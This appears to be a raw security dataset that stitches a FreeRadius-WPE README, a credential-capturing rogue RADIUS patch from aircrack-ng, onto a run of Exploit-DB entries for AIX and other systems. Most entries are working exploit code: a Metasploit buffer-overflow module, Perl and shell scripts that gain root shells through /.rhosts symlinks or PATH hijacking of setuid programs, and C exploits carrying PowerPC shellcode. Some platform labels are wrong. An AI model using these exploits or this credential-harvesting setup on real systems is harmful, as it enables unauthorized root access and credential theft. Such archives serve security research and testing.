deardaniel/secdata-raw huggingface dataset:
WiFi Security Testing — aircrack-ng: README

# FreeRadius Wireless Pawn Edition

Updated patch for FreeRadius 3.2.4

Historic information about WPE can be found:
https://www.willhackforsushi.com/?page_id=37

Supported and tested EAP Types/Inner Authentication Methods (others may also work):
* PEAP/PAP (OTP)
* PEAP/MSCHAPv2
* EAP-TTLS/PAP (includes OTPs)
* EAP-TTLS/MSCHAPv1
* EAP-TTLS/MSCHAPv2
* EAP-MD5

## Installing

### Dependencies

```
apt install libssl-dev build-essential libtalloc-dev libpcre3-dev
```

### Optional dependencies

```
apt install libsqlite3-dev libhiredis-dev libykclient-dev libyubikey-dev default-libmysqlclient-dev libcurl4-openssl-dev libperl-dev libpam0g-dev libcap-dev libmemcached-dev libgdbm-dev unixodbc-dev libpq-dev libwbclient-dev libkrb5-dev libjson-c-dev freetds-dev libwbclient-sssd-dev samba-dev libcollectdclient-dev libldap-dev
```

### Compilation

Run the following commands:

```
wget ftp://ftp.freeradius.org/pub/freeradius/freeradius-server-3.2.4.tar.bz2
tar -xjf freeradius-server-3.2.4.tar.bz2
cd freeradius-server-3.2.4/
wget https://raw.githubusercontent.com/aircrack-ng/aircrack-ng/master/patches/wpe/freeradius-wpe/freeradius-server-3.2.4-wpe.diff
patch -Np1 -i freeradius-server-3.2.4-wpe.diff
./configure
make
make install
ldconfig
```

## Running

Start ```radiusd``` in a terminal:

```
radiusd -s -X
```

If it fails running and complains about OpenSSL being vulnerable, make sure OpenSSL is up to date. If you are using a recent distribution, most likely OpenSSL is patched, and you can safely allow it. In order to do so, edit /usr/local/etc/raddb/radiusd.conf and change ```allow_vulnerable_openssl``` from ```no``` to ```'CVE-2016-6304'``` (with the single quotes).

Now, connect a client. Once a username/password is entered and the certificate accepted, information regarding that session will be stored in ```/usr/local/var/log/radius/freeradius-server-wpe.log```.

**Note**: This file won't be created until the first client connects and authenticates to the access point.
Exploit-DB #19046
Description: AppleShare IP Mail Server 5.0.3 - Buffer Overflow
Type: dos
Platform: aix
Date: 1999-10-15
Author: Chris Wedgwood

Exploit:
source: https://www.securityfocus.com/bid/61/info

There exists a buffer overflow in the Apple AppleShare IP Mail Server 5.0.3. If yu connect to the SMTP port 
and issue a HELO command with a large string (500 bytes or more) for a hostname the server, and possibly the whole machine, will crash.

$ telnet some.where
Trying 1.2.3.4...
Connected to some.where.
Escape character is '^]'.
220 some.where AppleShare IP Mail Server 5.0.3 SMTP Server Ready
HELO XXXXXXXXXXX[....several hundered of these....]XXXXXXXX
[ and it just hangs ]

$ ping some.where
[ ...nothing... ]
Exploit-DB #19049
Description: BSDI 4.0 tcpmux / inetd - Crash
Type: dos
Platform: aix
Date: 1998-04-07
Author: Mark Schaefer

Exploit:
source: https://www.securityfocus.com/bid/66/info

A vulnerability exists in inetd which allows a remote user to crash inetd if the tcpmux service is not commented
out of /etc/inetd.conf. The tcpmux service is defined in RFC1078

$ nmap -p 1-64000 -i <target host>

It is also claimed inetd will die if the Windows 95/NT
program postscan.exe, made by 7thsphere, is run againts
the host.
Exploit-DB #19418
Description: IBM AIX 4.3.1 - 'adb' Denial of Service
Type: dos
Platform: aix
Date: 1999-07-12
Author: GZ Apple

Exploit:
source: https://www.securityfocus.com/bid/520/info

adb is the debugger that ships with IBM's AIX operating system. It is possible for a local user to cause a local denial of service through exploiting the version of adb shipped with AIX 4.2 through 4.3.1. The consequence of adb being exploited is the machine being halted by a malicious local user.


gcc -g -o a.out hello-world.c
$ adb a.out -
adb
.main,5:s
a.out: running
Exploit-DB #22249
Description: IBM AIX 4.3.3/5.1/5.2 - 'libIM' Buffer Overflow
Type: dos
Platform: aix
Date: 2003-02-12
Author: Euan Briggs

Exploit:
source: https://www.securityfocus.com/bid/6840/info

A buffer overflow vulnerability has been discovered in the libIM library available for the AIX 4.3, 5.1, 5.2 operating system. As a result it may be possible to overwrite sensitive memory in programs linked to the affected library. By identifying a linked application with the setuid bit applied, it may be possible to exploit this vulnerability to execute code with elevated privileges.

Under certain circumstances this issue may pose as a remote security threat. 

/usr/lpp/X11/bin/aixterm -im `perl -e 'print "A"x47; print pack("l",0x11223344)'`
Exploit-DB #25807
Description: IBM AIX 5.x - 'Invscout' Local Buffer Overflow
Type: dos
Platform: aix
Date: 2005-06-09
Author: Computer Academic Underground

Exploit:
source: https://www.securityfocus.com/bid/13909/info

invscout is prone to a local buffer overflow vulnerability. This issue presents itself because the application fails to carry out boundary checks on user-supplied data from the command line. 

/usr/sbin/invscout `perl -e 'print "A" x 1024;'`
Exploit-DB #16657
Description: PointDev IDEAL Migration - Buffer Overflow (Metasploit)
Type: dos
Platform: aix
Date: 2010-09-25
Author: Metasploit

Exploit:
##
# $Id: ideal_migration_ipj.rb 10477 2010-09-25 11:59:02Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'PointDev IDEAL Migration Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in versions v9.7
				through v10.5 of IDEAL Administration and versions 4.5 and 4.51 of
				IDEAL Migration. All versions are suspected to be vulnerable.
				By creating a specially crafted ipj file, an an attacker may be able
				to execute arbitrary code.

				NOTE: IDEAL Administration 10.5 is compiled with /SafeSEH
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'Dr_IDE', 'dookie', 'jduck' ],
			'Version'        => '$Revision: 10477 $',
			'References'     =>
				[
					[ 'CVE', '2009-4265' ],
					[ 'OSVDB', '60681' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/10319' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/12403' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/12404' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/12540' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00\x0a\x1a\x22\x3c\x3e",
					'StackAdjustment' => -3500,
					'DisableNops' => true
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'IDEAL Migration <= 4.5.1 on Windows XP',
						{
							'Ret' => 0x1001411e # CALL EBP in ULMigration_us.dll
							# 'Ret' => 0x7c96bf33 # JMP ESP in ULMigration_us.dll (from Blake)
							# 'Ret' => 0x77f31d2f # JMP ESP in ?? (from Dr_IDE)
						}
					],

					[ 'IDEAL Administration <= 10.5 on Windows XP',
						{
							'Ret' => 0x10010F2E # CALL EBP in ListWmi.dll
							# 'Ret' => 0x77f31d2f # JMP ESP in ?? (from Dr_IDE)
						}
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Dec 05 2009',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME',   [ false, 'The file name.',  'msf.ipj']),
			], self.class)
	end

	def exploit

		ipj = "\r\n"
		ipj << "[Group,Export,Yes]\r\n"
		ipj << "Computer="

		sploit = ""
		sploit << rand_text_alpha_upper(2420)
		sploit << [target.ret].pack('V')
		# These nops are required to move the payload below where ebp points
		# when returning...
		sploit << make_nops(768)
		sploit << payload.encoded

		ipj << sploit
		ipj << "\r\n"
		ipj << "[End]\r\n"

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(ipj)

	end

end
Exploit-DB #20290
Description: AIX 3.x - bugfiler Arbitrary File Creation
Type: local
Platform: aix
Date: 1997-09-08
Author: Johannes Schwabe

Exploit:
source: https://www.securityfocus.com/bid/1800/info

A vulnerability exists in AIX 3.* versions of bugfiler, a utility which automates the process of reporting an filing system bugs. Bugfiler, installed setuid root, creates files in a directory specified by the user invoking the program (example: $/lib/bugfiler -b <user> directory>). It may be possible for an attacker to create files in arbitrary directories that are owned by attacker-specified users. This may result in an elevation of privileges for the attacker. Further technical details about this vulnerability are not known.

$whoami eviluser 
$/lib/bugfiler -b <user> <directory> creates funny files under the <user>-owned <directory> and that may be used by crackers to increase privileges. See the manpage of bugfiler for more information. (bugfiler does not work for some <user>s)
Exploit-DB #20213
Description: AIX 4.2/4.3 - netstat -Z Statistic Clearing
Type: local
Platform: aix
Date: 2000-09-03
Author: alex medvedev

Exploit:
source: https://www.securityfocus.com/bid/1660/info

A vulnerability exists in versions 4.x. x of AIX, from IBM. Any local user can utilize the -Z command to netstat, without needing to be root. This will cause interface statistics to be reset. This could potentially interfere with programs that track statistical information.

$ netstat -in --> shows stats
$ netstat -Zi --> clears them without checking the uid
Exploit-DB #23883
Description: AIX 4.3.3/5.1 - Invscoutd Symbolic Link
Type: local
Platform: aix
Date: 2003-05-29
Author: watercloud

Exploit:
source: https://www.securityfocus.com/bid/9982/info

Reportedly AIX invscoutd insecurely handles temporary files; this may allow a local attacker to destroy data on vulnerable system. This issue is due to a design error that allows a user to specify a log file that the process writes to while holding escalated privileges.

This issue may allow a malicious user to corrupt arbitrary files on the affected system, potentially leading to a system wide denial of service condition. It has also been conjectured that this issue may be leveraged to allow an attacker to gain escalated privileges, although this is unconfirmed.

#!/usr/bin/perl
# FileName: x_invscoutd.pl
# Exploit invscoutd of Aix4.x & 5L to get a uid=0 shell.
# Tested  : on Aix4.3.3 & Aix5.1. 
#           Some high version of invscoutd is not affected.
# Author  : watercloud@xfocus.org
# Site    : www.xfocus.org   www.xfocus.net
# Date    : 2003-5-29
# Announce: use as your owner risk!

$LOG="/tmp/.ex/.hello\n+ +\nworld";
$CMD="/usr/sbin/invscoutd";
umask 022;
mkdir "/tmp/.ex",0777;

print "Exploit error on kill process invscoutd !!" ,exit 1
  if &killproc() == 0;

symlink "/.rhosts",$LOG;
system $CMD,"-p7321",$LOG; &killproc();
unlink $LOG;
print "\n============\nRemember to remove /.rhosts !!\n";
print "rsh localhost -l root '/bin/sh -i'\n";
print "waiting . . . . . .\n";
system "rsh","localhost","-l","root","/bin/sh -i";

system $CMD,"-p808","/dev/null" ; &killproc();
rmdir "/tmp/.ex";

sub killproc() {
  $_=`ps -ef |grep invscoutd |grep -v grep |grep -v perl`;
  @proc_lst=split;
  $ret=kill 9,$proc_lst[1] if $proc_lst[1];
  $ret=-1 if ! defined $ret;
  return $ret;
}
#EOF
Exploit-DB #23840
Description: AIX 4.3.3/5.x - Getlvcb Command Line Argument Buffer Overflow (1)
Type: local
Platform: aix
Date: 2003-05-30
Author: watercloud

Exploit:
source: https://www.securityfocus.com/bid/9905/info

getlvcb has been reported to be prone to a buffer overflow vulnerability.

When an argument is passed to the getlvcb utility, the string is copied into a reserved buffer in memory. Data that exceeds the size of the reserved buffer will overflow its bounds and will trample any saved data that is adjacent to the affected buffer. Ultimately this may lead to the execution of arbitrary instructions in the context of the root user.

An attacker will require system group privileges prior to the execution of the getlvcb utility, the attacker may exploit the issue described in BID 9903 in order to gain the necessary privileges required to exploit this vulnerability.

#!/usr/bin/perl
# FileName: x_getlvcb_aix433_limited.pl
# Exploit getlvcb of Aix4.3.3 to get a uid=0 shell from a gid=0.
# Tested  : on Aix4.3.3.
# Author  : watercloud@xfocus.org
# Site    : www.xfocus.org   www.xfocus.net
# Date    : 2003-5-30
# Announce: use as your owner risk!

$CMD="/usr/sbin/getlvcb";
$_=`/usr/bin/oslevel`;

$XID="\x03";
$UID="\x97";
print "\n\nExploit $CMD for Aix 4.3.3 to get uid=0 shell.\n";
print "From: [ www.xfocus.org 2003-5-30 ].\n\n";
print "Note :\n";
print "You must get gid=0 befor use this exploit,for example ";
print "my another program x_make_433_limited.pl :)\n";
print "If you get a shell euid=0 then run this command: ";
print "/usr/bin/syscall setreuid 0 0 \\; execve '/bin/sh'\n";

$NOP="\x7c\xa5\x2a\x79"x800;
%ENV=();

$ENV{CCC}="AA".$NOP.&getshell($XID,$UID);
$ret=system $CMD ,"AAA"."\x2f\xf2\x2b\x40"x300;

for($i=0;$i<4 && $ret;$i++){
  for($j=0;$j<4 && $ret;$j++) {
    $ENV{CCC}="A"x $i .$NOP.&getshell($XID,$UID);
    system $CMD ,"A"x $j ."\x2f\xf2\x2b\x40"x300;
  }
}

#sub
sub getshell($XID,$GID) {
  my $SHELL,($XID,$GID)=@_;
  $SHELL="\x7e\x94\xa2\x79\x7e\x84\xa3\x78\x40\x82\xff\xfd";
  $SHELL.="\x7e\xa8\x02\xa6\x3a\xb5\x01\x40\x88\x55\xfe\xe0";
  $SHELL.="\x7e\x83\xa3\x78\x3a\xd5\xfe\xe4\x7e\xc8\x03\xa6";
  $SHELL.="\x4c\xc6\x33\x42\x44\xff\xff\x02$GID$XID\xff\xff";
  $SHELL.="\x38\x75\xff\x04\x38\x95\xff\x0c\x7e\x85\xa3\x78";
  $SHELL.="\x90\x75\xff\x0c\x92\x95\xff\x10\x88\x55\xfe\xe1";
  $SHELL.="\x9a\x95\xff\x0b\x4b\xff\xff\xd8/bin/sh\xff";
  return $SHELL;
}
#EOF
Exploit-DB #20965
Description: AIX 4.3/5.1 - diagrpt Arbitrary Privileged Program Execution
Type: local
Platform: aix
Date: 2003-05-23
Author: watercloud

Exploit:
source: https://www.securityfocus.com/bid/2916/info

AIX ships with a diagnostic reporting utility called 'diagrpt'. This utility is installed setuid root by default.

When 'diagrpt' executes, it relies on an environment variable to locate another utility which it executes. This utility is executed by 'diagrpt' as root.

An attacker can gain root privileges by having 'diagrpt' execute a malicious program of the same name in a directory under their control. 

#!/bin/sh
# FileName: x_diagrpt.sh
# Exploit diagrpt of Aix4.x & 5L to get a uid=0 shell.
# Tested  : on Aix4.3.3 & Aix5.1.
# Author  : watercloud@xfocus.org
# Site    : www.xfocus.org   www.xfocus.net
# Date    : 2003-5-23
# Announce: use as your owner risk!
#
# Note    :
# It does not work on all versions of tsm command.
# Use this command to test if your version can exploit or not :
# bash$ strings /usr/lpp/diagnostics/bin/diagrpt |grep cat
# diagrpt.cat
# cat %s  <--- here ! have the bug !!! can exploit!
#

O_DIR=`/bin/pwd`
cd /tmp ; mkdir .ex$$ ; cd .ex$$
PATH=/tmp/.ex$$:$PATH ; export PATH
/bin/cat >cat<<EOF
#!/bin/ksh -p
cp /bin/ksh ./kfsh
chown root ./kfsh
chmod 777 ./kfsh
chmod u+s ./kfsh
EOF
chmod a+x cat

DIAGDATADIR=/tmp/.ex$$ ; export DIAGDATADIR
touch /tmp/.ex$$/diagrpt1.dat

/usr/lpp/diagnostics/bin/diagrpt -o 010101
stty echo
stty intr '^C' erase '^H' eof '^D' eol '^@'

if [ -e ./kfsh ] ;then
  echo ""
  echo "===================="
  pwd
  ls -l ./kfsh
  echo "Exploit ok ! Use this command to get a uid=0 shell :"
  echo '/usr/bin/syscall setreuid 0 0 \; execve "/bin/sh" '
  ./kfsh
else
  echo ""
  echo "Exploit false !!!!"
fi

cd /tmp ; /bin/rm  -Rf /tmp/.ex$$ ;cd $O_DIR
#EOF
Exploit-DB #701
Description: AIX 4.3/5.1 < 5.3 - 'lsmcode' Execution Privilege Escalation
Type: local
Platform: aix
Date: 2004-12-21
Author: cees-bart

Exploit:
mkdirhier /tmp/aap/bin
export DIAGNOSTICS=/tmp/aap
cat > /tmp/aap/bin/Dctrl << EOF
#!/bin/sh
cp /bin/sh /tmp/.shh
chown root:system /tmp/.shh
chmod u+s /tmp/.shh
EOF
chmod a+x /tmp/aap/bin/Dctrl
lsmcode
/tmp/.shh

# milw0rm.com [2004-12-21]
Exploit-DB #699
Description: AIX 5.1 < 5.3 - paginit Local Stack Overflow
Type: local
Platform: aix
Date: 2004-12-20
Author: cees-bart

Exploit:
/* exploit for /usr/bin/paginit
   tested on: AIX 5.2

   if the exploit fails it's because the shellcode
   ends up at a different address. use dbx to check,
   and change RETADDR accordingly.

   cees-bart <ceesb cs ru nl>
*/

#define RETADDR 0x2ff22c90

char shellcode[] =
"\x7c\xa5\x2a\x79"
"\x40\x82\xff\xfd"      
"\x7c\xa8\x02\xa6"      
"\x38\xe0\x11\x11"
"\x39\x20\x48\x11"      
"\x7c\xc7\x48\x10"      
"\x38\x46\xc9\x05"      
"\x39\x25\x11\x11"
"\x38\x69\xef\x17"      
"\x38\x87\xee\xef"      
"\x7c\xc9\x03\xa6"      
"\x4e\x80\x04\x20"
"\x2f\x62\x69\x6e"      
"\x2f\x73\x68\x00"
;

char envlabel[] = "X=";

void printint(char* buf, int x) {
  buf[0] = x >> 24;
  buf[1] = (x >> 16) & 0xff;
  buf[2] = (x >> 8) & 0xff;
  buf[3] = x & 0xff;
}

int main(int argc, char **argv) {
  char *env[3];
  char code[1000];
  char buf[8000];
  char *p, *i;
  int offset1 = 0;

  offset1 = 0; // atoi(argv[1]);
  
  memset(code, 'C', sizeof(code));
  memcpy(code, envlabel,sizeof(envlabel)-1);
  // landingzone 
  for(i=code+sizeof(envlabel)+offset1; i<code+sizeof(code); i+=4) 
    printint(i, 0x7ca52a79);

  memcpy(code+sizeof(code)-sizeof(shellcode), shellcode, sizeof(shellcode)-1);  
  code[sizeof(code)-1] = 0;
  
  env[0] = code;
  env[1] = 0;

  memset(buf, 'A', sizeof(buf));
  buf[sizeof(buf)-1] = 0; 
  
  p = buf;
  p += 4114;
  printint(p,RETADDR); // try to hit the landingzone
  p += 72;
  printint(p, RETADDR); // any readable address (apparently not overwritten)

  execle("/usr/bin/paginit", "/usr/bin/paginit", buf, 0, env);
}

// milw0rm.com [2004-12-20]
Exploit-DB #1045
Description: AIX 5.2 - 'ipl_varyon' Local Privilege Escalation
Type: local
Platform: aix
Date: 2005-06-14
Author: intropy

Exploit:
/*
 *
 *    IBM AIX ipl_varyon elevated privileges exploit
 *
 *    I just wanted to play with PowerPC (Tested on 5.2)
 *
 *    intropy (intropy <at> caughq.org)
 *
 */

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

#define DEBUG 1
#define BUFFERSIZE 2048
#define EGGSIZE 2048

#define NOP 0x60
#define ADDRESS 0x2ff22fff-(BUFFERSIZE/2)

/* lsd */
char shellcode_binsh[] =
"\x7c\xa5\x2a\x79"     /* xor.    r5,r5,r5             */
"\x40\x82\xff\xfd"     /* bnel    <shellcode>          */
"\x7f\xe8\x02\xa6"     /* mflr    r31                  */
"\x3b\xff\x01\x20"     /* cal     r31,0x120(r31)       */
"\x38\x7f\xff\x08"     /* cal     r3,-248(r31)         */
"\x38\x9f\xff\x10"     /* cal     r4,-240(r31)         */
"\x90\x7f\xff\x10"     /* st      r3,-240(r31)         */
"\x90\xbf\xff\x14"     /* st      r5,-236(r31)         */
"\x88\x5f\xff\x0f"     /* lbz     r2,-241(r31)         */
"\x98\xbf\xff\x0f"     /* stb     r5,-241(r31)         */
"\x4c\xc6\x33\x42"     /* crorc   cr6,cr6,cr6          */
"\x44\xff\xff\x02"     /* svca                         */
"/bin/sh"
"\x05";

unsigned long cex_load_environment(char *env_buffer, char *address_buffer, char *payload, int environment_size, int buffer_size) {
        int count, env_size = strlen(payload) + environment_size + 4 + 1;
        unsigned long address, *ret_addressp;
        
        if (DEBUG) printf("Adding nops to environment buffer...");
        for ( count = 0; count < env_size - strlen(payload) - 1; count++ ) {
            *(env_buffer++) = NOP;
        }
        if (DEBUG) printf("size %d...\n", count);
        if (DEBUG) printf("Adding payload to environment buffer...");
        for ( count = 0; count < strlen(payload); count++ ) {
            *(env_buffer++) = payload[count];
        }
        if (DEBUG) printf("size %d...\n", count);

        env_buffer[env_size - 1] = '\0';

        memcpy(env_buffer, "CAU=", 4);

	memset(address_buffer, 'A', buffer_size);

        address = ADDRESS;

        if (DEBUG) printf("Going for address @ 0x%lx\n", address);

        if (DEBUG) printf("Adding return address to buffer...");
        ret_addressp = (unsigned long *)(address_buffer+3);
        for ( count = 0; count < buffer_size; count += 4) {
                *(ret_addressp++) = address;
        }
        if (DEBUG) printf("size %d...\n", count);

        address_buffer[buffer_size - 1] = '\0';

        return( 0 );
}

int main()
{
    char *buffer, *egg;
    char *args[3], *envs[2];

    buffer = (char *)malloc(BUFFERSIZE);
    egg = (char *)malloc(EGGSIZE);

    cex_load_environment(egg, buffer, (char *)&shellcode_binsh, EGGSIZE, BUFFERSIZE);

    args[0] = "/usr/sbin/ipl_varyon";
    args[1] = "-d";
    args[2] = buffer;
    args[3] = NULL;

    envs[0] = egg;
    envs[1] = NULL;

    execve( "/usr/sbin/ipl_varyon", args, envs );

    return( 0 );
}

// milw0rm.com [2005-06-14]